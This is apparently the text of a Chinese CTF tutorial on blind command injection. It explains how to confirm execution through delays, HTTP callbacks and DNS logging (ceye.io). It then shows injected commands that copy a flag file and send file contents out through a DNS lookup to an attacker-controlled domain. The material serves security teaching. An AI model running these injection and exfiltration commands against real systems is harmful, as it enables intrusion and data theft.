18.命令执行无回显的判断方法及dnslog相关例题的讲解.pdfVIP

  • 59
  • 0
  • 约1.94千字
  • 约 12页
  • 2021-08-19 发布于陕西
  • 举报

18.命令执行无回显的判断方法及dnslog相关例题的讲解.pdf

命令执行无回显的判断方法及 dnslog 相关例题 一、命令执行判断 命令执行可能会存在命令执行完没有回显,首先要判断命令 是否有执行 ,可以通过三种方式来判断:延时、HTTP 请求、 DNS 请求。 1、 延时: 无延时无回显 有延时无回显 通过是否延时来判断该条命令是否有执行 ,有延时则代表命 令有执行。(”sleep 3”表示延时 3 秒) 2、 HTTP 请求:目标机通过向公网可通信的机子发起 http 请求,而这个公网可通信的机子是我们可控的,则当该公 网机子收到 http 请求就代表命令有执行。 例 :我们在公网机上可以通过”nc -lv 端口号”来监听该端口, 当目标机”curl 公网机 ip :端口号”的时候 ,公网机的该端 口可 以发现有 http 请求过来。(注意:ping 命令不产生 http 请求) 公网机进行 8000 端口监听 目标机向公网机的 8000 端口发起 http 请求 公网机监听中的 8000 端口收到 http 请求 将”curl 公网机 ip :端口号”命令拼接到地址中进行命令执行 公网机监听中的 8000 端口收到 http 请求说明命令执行成功 3、 DNS请求:如果请求的目标不是ip地址而 是域名,那么域名最终还要转化成ip地址,就 肯定要做一次域名解析请求。那么假设我有个 可控的二级域名,那么它发出三级域名解析的 时候,我这边是能够拿到它的域名解析请求的, 这就相当于可以配合DNS请求进行命令执行 的判断,这一般就被称为dnslog。(要通过dns 请求即可通过ping命令,也能通过curl命令, 只要对域名进行访问,让域名服务器进行域名 解析就可实现) 例 :大家可以去 ceye .io 注册个账号 ,注册完后会给一个域 名,如果有域名解析请求会有记录。 我这边得到的域名是 wzrtbq .ceye .io ,如果我去访问 1111111. wzrtbq .ceye .io,那么就会记录下来这个域名解析请求。 访问 1111111. wzrtbq .ceye .io 域名解析请求被记录 将访问域名拼接到地址中 域名解析请求被记录 二、利用 1、直接写入或外部下载 shell 执行命令 例 :通过命令执行直接得到文件内容 生成 1.txt 拷贝 访问 1.txt 将”=cp where_is_flag .php 1.txt”做为参数传递给 ping ,然后 就执行了” cp where_is_flag .php 1.txt”这个命令 ,生成 1.txt 文件 ,在去访 问 1.txt ,就能得到 1.txt 的内容 (也就是 where_is_flag .php 的内容),最后找到 flag 2、通过 http 请求/dns 请求等方式带出数据 例 :通过 dnslog 带出数据 注意 :1、命令执行时要避免空格 ,空格会导致空格后面的 命令执行不到;2、将读取的文件命令用``包含起来;3、拼 接的域名有长度限制。 读取 where_is_flag .php :`cat where_is_flag .php` 替换读取文件中的空格 :`cat where_is_flag .php|sed s/[[:space :]]//` 拼接域名:`cat where_is_flag .php|sed s/[[:space :]]//`.wzrtbq .ceye .io 利用 dnslog 得到文件内容 (即得到了 flag 文件地址) 获取 flag 文件内容 获取到 flag

您可能关注的文档

文档评论(0)

1亿VIP精品文档

相关文档